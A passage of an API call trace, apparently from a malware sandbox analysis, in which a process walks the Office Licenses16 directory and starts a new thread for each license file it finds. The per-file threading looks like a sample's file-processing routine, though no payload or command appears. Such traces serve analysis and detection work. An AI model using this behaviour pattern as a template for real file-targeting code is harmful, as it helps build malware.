	[0089.809] wcscat (in: _Dest=0x481aaf0, _Source="HomeBusinessR_OEM_Perp-ul-phn.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms"
	[0089.809] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x481aaf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ed0
	[0089.810] FindNextFileW (in: hFindFile=0x477a928, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe3ed1ce3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe3ed1ce3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe3fb6b6c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x29ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="HomeBusinessR_OEM_Perp2-pl.xrm-ms", cAlternateFileName="HO2C67~1.XRM")) returned 1
	[0089.810] wcscmp (_String1="HomeBusinessR_OEM_Perp2-pl.xrm-ms", _String2=".") returned 1
	[0089.810] wcscmp (_String1="HomeBusinessR_OEM_Perp2-pl.xrm-ms", _String2="..") returned 1
	[0089.810] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa8) returned 0x2d61210
	[0089.810] wcscpy (in: _Dest=0x2d61210, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16"
	[0089.810] wcscat (in: _Dest=0x2d61210, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\"
	[0089.810] wcscat (in: _Dest=0x2d61210, _Source="HomeBusinessR_OEM_Perp2-pl.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms"
	[0089.810] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d61210, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ed4
	[0089.810] FindNextFileW (in: hFindFile=0x477a928, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe3eaba33, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe3eaba33, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe3f6a648, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x564e, dwReserved0=0x0, dwReserved1=0x0, cFileName="HomeBusinessR_OEM_Perp2-ppd.xrm-ms", cAlternateFileName="HO3D7E~1.XRM")) returned 1
	[0089.810] wcscmp (_String1="HomeBusinessR_OEM_Perp2-ppd.xrm-ms", _String2=".") returned 1
	[0089.810] wcscmp (_String1="HomeBusinessR_OEM_Perp2-ppd.xrm-ms", _String2="..") returned 1
	[0089.810] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xaa) returned 0x481a198
	[0089.810] wcscpy (in: _Dest=0x481a198, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16"
	[0089.810] wcscat (in: _Dest=0x481a198, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\"
	[0089.810] wcscat (in: _Dest=0x481a198, _Source="HomeBusinessR_OEM_Perp2-ppd.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ppd.xrm-ms"
	[0089.811] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x481a198, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ed8
	[0089.811] FindNextFileW (in: hFindFile=0x477a928, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe3e5f5e0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe3e5f5e0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe3f1e1f4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d65, dwReserved0=0x0, dwReserved1=0x0, cFileName="HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms", cAlternateFileName="HO4CF9~1.XRM")) returned 1
	[0089.811] wcscmp (_String1="HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms", _String2=".") returned 1
	[0089.811] wcscmp (_String1="HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms", _String2="..") returned 1
	[0089.811] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb0) returned 0x481ae88
	[0089.811] wcscpy (in: _Dest=0x481ae88, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16"
	[0089.811] wcscat (in: _Dest=0x481ae88, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\"
	[0089.811] wcscat (in: _Dest=0x481ae88, _Source="HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-oob.xrm-ms"
	[0089.811] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x481ae88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1edc
	[0089.812] FindNextFileW (in: hFindFile=0x477a928, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe40756e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe40756e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe415a524, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4dfe, dwReserved0=0x0, dwReserved1=0x0, cFileName="HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms", cAlternateFileName="HOFD0F~1.XRM")) returned 1
	[0089.812] wcscmp (_String1="HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms", _String2=".") returned 1
	[0089.812] wcscmp (_String1="HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms", _String2="..") returned 1
	[0089.812] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb0) returned 0x481a5e8
	[0089.812] wcscpy (in: _Dest=0x481a5e8, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16"
	[0089.812] wcscat (in: _Dest=0x481a5e8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\"
	[0089.812] wcscat (in: _Dest=0x481a5e8, _Source="HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-ul-phn.xrm-ms"
	[0089.812] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x481a5e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ee0
	[0089.813] FindNextFileW (in: hFindFile=0x477a928, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe3e393c5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe3e393c5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe3ef7f7a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x29ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="HomeBusinessR_OEM_Perp3-pl.xrm-ms", cAlternateFileName="HO5093~1.XRM")) returned 1
	[0089.813] wcscmp (_String1="HomeBusinessR_OEM_Perp3-pl.xrm-ms", _String2=".") returned 1
	[0089.813] wcscmp (_String1="HomeBusinessR_OEM_Perp3-pl.xrm-ms", _String2="..") returned 1
	[0089.813] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa8) returned 0x2d62080
	[0089.813] wcscpy (in: _Dest=0x2d62080, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16"
	[0089.813] wcscat (in: _Dest=0x2d62080, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\"
	[0089.813] wcscat (in: _Dest=0x2d62080, _Source="HomeBusinessR_OEM_Perp3-pl.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms"
	[0089.813] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d62080, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ee4
	[0089.814] FindNextFileW (in: hFindFile=0x477a928, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe3d2e398, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe3d2e398, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe3e393c5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x564e, dwReserved0=0x0, dwReserved1=0x0, cFileName="HomeBusinessR_OEM_Perp3-ppd.xrm-ms", cAlternateFileName="HO0707~1.XRM")) returned 1
	[0089.814] wcscmp (_String1="HomeBusinessR_OEM_Perp3-ppd.xrm-ms", _String2=".") returned 1
	[0089.814] wcscmp (_String1="HomeBusinessR_OEM_Perp3-ppd.xrm-ms", _String2="..") returned 1
	[0089.814] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xaa) returned 0x481af40
	[0089.814] wcscpy (in: _Dest=0x481af40, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16"
	[0089.814] wcscat (in: _Dest=0x481af40, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\"
	[0089.814] wcscat (in: _Dest=0x481af40, _Source="HomeBusinessR_OEM_Perp3-ppd.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms"
	[0089.814] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x481af40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ee8
	[0089.814] FindNextFileW (in: hFindFile=0x477a928, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe3decec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe3decec0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe3ed1ce3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d65, dwReserved0=0x0, dwReserved1=0x0, cFileName="HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms", cAlternateFileName="HO1457~1.XRM")) returned 1
	[0089.814] wcscmp (_String1="HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms", _String2=".") returned 1
	[0089.814] wcscmp (_String1="HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms", _String2="..") returned 1
	[0089.814] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb0) returned 0x481b2d8
	[0089.814] wcscpy (in: _Dest=0x481b2d8, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16"
	[0089.815] wcscat (in: _Dest=0x481b2d8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\"
	[0089.815] wcscat (in: _Dest=0x481b2d8, _Source="HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-oob.xrm-ms"
	[0089.815] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x481b2d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1eec
	[0089.815] FindNextFileW (in: hFindFile=0x477a928, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe3da0a82, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe3da0a82, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe3e5f5e0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4dfe, dwReserved0=0x0, dwReserved1=0x0, cFileName="HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms", cAlternateFileName="HOD2EE~1.XRM")) returned 1
	[0089.815] wcscmp (_String1="HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms", _String2=".") returned 1
	[0089.815] wcscmp (_String1="HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms", _String2="..") returned 1
	[0089.815] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb0) returned 0x481b390
	[0089.815] wcscpy (in: _Dest=0x481b390, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16"
	[0089.815] wcscat (in: _Dest=0x481b390, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\"
	[0089.815] wcscat (in: _Dest=0x481b390, _Source="HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms"
	[0089.815] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x481b390, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ef0
	[0089.816] FindNextFileW (in: hFindFile=0x477a928, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe3da0a82, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe3da0a82, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe40756e2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x29ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="HomeBusinessR_OEM_Perp4-pl.xrm-ms", cAlternateFileName="HO8B40~1.XRM")) returned 1
	[0089.816] wcscmp (_String1="HomeBusinessR_OEM_Perp4-pl.xrm-ms", _String2=".") returned 1
	[0089.816] wcscmp (_String1="HomeBusinessR_OEM_Perp4-pl.xrm-ms", _String2="..") returned 1
	[0089.816] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa8) returned 0x2d61370
	[0089.816] wcscpy (in: _Dest=0x2d61370, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16"
	[0089.816] wcscat (in: _Dest=0x2d61370, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\"
	[0089.816] wcscat (in: _Dest=0x2d61370, _Source="HomeBusinessR_OEM_Perp4-pl.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-pl.xrm-ms"
	[0089.816] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d61370, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ef4
	[0089.817] FindNextFileW (in: hFindFile=0x477a928, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe3d2e398, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe3d2e398, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe3decec0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x564e, dwReserved0=0x0, dwReserved1=0x0, cFileName="HomeBusinessR_OEM_Perp4-ppd.xrm-ms", cAlternateFileName="HO13F0~1.XRM")) returned 1
	[0089.817] wcscmp (_String1="HomeBusinessR_OEM_Perp4-ppd.xrm-ms", _String2=".") returned 1
	[0089.817] wcscmp (_String1="HomeBusinessR_OEM_Perp4-ppd.xrm-ms", _String2="..") returned 1
	[0089.817] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xaa) returned 0x481b500
	[0089.817] wcscpy (in: _Dest=0x481b500, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16"
	[0089.817] wcscat (in: _Dest=0x481b500, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\"
	[0089.817] wcscat (in: _Dest=0x481b500, _Source="HomeBusinessR_OEM_Perp4-ppd.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ppd.xrm-ms"
	[0089.817] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x481b500, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ef8
	[0089.818] FindNextFileW (in: hFindFile=0x477a928, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe5041085, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe5041085, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe52572ac, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d65, dwReserved0=0x0, dwReserved1=0x0, cFileName="HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms", cAlternateFileName="HO7938~1.XRM")) returned 1
	[0089.818] wcscmp (_String1="HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms", _String2=".") returned 1
	[0089.818] wcscmp (_String1="HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms", _String2="..") returned 1
	[0089.818] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb0) returned 0x481b670
	[0089.818] wcscpy (in: _Dest=0x481b670, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16"
	[0089.818] wcscat (in: _Dest=0x481b670, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\"
	[0089.818] wcscat (in: _Dest=0x481b670, _Source="HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms"
	[0089.818] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x481b670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1efc
	[0089.819] FindNextFileW (in: hFindFile=0x477a928, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe40e7dfb, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe40e7dfb, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe41a69d5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4dfe, dwReserved0=0x0, dwReserved1=0x0, cFileName="HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms", cAlternateFileName="HO93DC~1.XRM")) returned 1
	[0089.819] wcscmp (_String1="HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms", _String2=".") returned 1
	[0089.819] wcscmp (_String1="HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms", _String2="..") returned 1
	[0089.819] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb0) returned 0x481a3c0
	[0089.819] wcscpy (in: _Dest=0x481a3c0, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16"
	[0089.819] wcscat (in: _Dest=0x481a3c0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\"
	[0089.819] wcscat (in: _Dest=0x481a3c0, _Source="HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms"
	[0089.819] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x481a3c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f00
	[0089.820] FindNextFileW (in: hFindFile=0x477a928, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe40e7dfb, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe40e7dfb, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe41f2eb7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x299f, dwReserved0=0x0, dwReserved1=0x0, cFileName="HomeBusinessR_Retail-pl.xrm-ms", cAlternateFileName="HO6958~1.XRM")) returned 1
	[0089.820] wcscmp (_String1="HomeBusinessR_Retail-pl.xrm-ms", _String2=".") returned 1
	[0089.820] wcscmp (_String1="HomeBusinessR_Retail-pl.xrm-ms", _String2="..") returned 1
	[0089.820] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa2) returned 0x2d614d0
	[0089.820] wcscpy (in: _Dest=0x2d614d0, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16"
	[0089.820] wcscat (in: _Dest=0x2d614d0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\"
	[0089.820] wcscat (in: _Dest=0x2d614d0, _Source="HomeBusinessR_Retail-pl.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms"
	[0089.820] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d614d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f04
	[0089.820] FindNextFileW (in: hFindFile=0x477a928, lpFindFileData=0x475b580 | out: lpFindFileData=0x475b580*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe4180773, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe4180773, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe426559f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x564b, dwReserved0=0x0, dwReserved1=0x0, cFileName="HomeBusinessR_Retail-ppd.xrm-ms", cAlternateFileName="HOB1F6~1.XRM")) returned 1
	[0089.820] wcscmp (_String1="HomeBusinessR_Retail-ppd.xrm-ms", _String2=".") returned 1
	[0089.820] wcscmp (_String1="HomeBusinessR_Retail-ppd.xrm-ms", _String2="..") returned 1
	[0089.820] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa4) returned 0x2d618f0
	[0089.820] wcscpy (in: _Dest=0x2d618f0, _Source="C:\\Program Files\\Microsoft Office\\root\\Licenses16" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16"
	[0089.820] wcscat (in: _Dest=0x2d618f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\"
	[0089.820] wcscat (in: _Dest=0x2d618f0, _Source="HomeBusinessR_Retail-ppd.xrm-ms" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms"
